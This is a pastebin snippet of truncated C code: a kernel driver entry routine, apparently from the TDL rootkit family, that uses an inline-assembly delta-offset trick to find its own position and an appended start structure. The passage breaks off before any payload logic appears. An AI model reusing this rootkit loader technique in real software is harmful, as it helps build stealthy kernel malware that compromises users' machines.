Guest User

Untitled

a guest
May 17th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.42 KB | None | 0 0
  1. NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
  2. {
  3.     PTDL_START ptsStart;
  4.     DWORD dwDelta;
  5.     PIMAGE_NT_HEADERS pinhHeader;
  6.     PIMAGE_SECTION_HEADER pishHeader;
  7.     DWORD dwSection;
  8.  
  9.     __asm
  10.     {
  11.         call delta
  12.         delta:
  13.         pop eax
  14.         sub eax,offset delta
  15.         mov [dwDelta],eax
  16.     }
  17.     ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
  18.     if((DWORD_PTR)pusRegistry>1)
  19.     {
Add Comment
Please, Sign In to add comment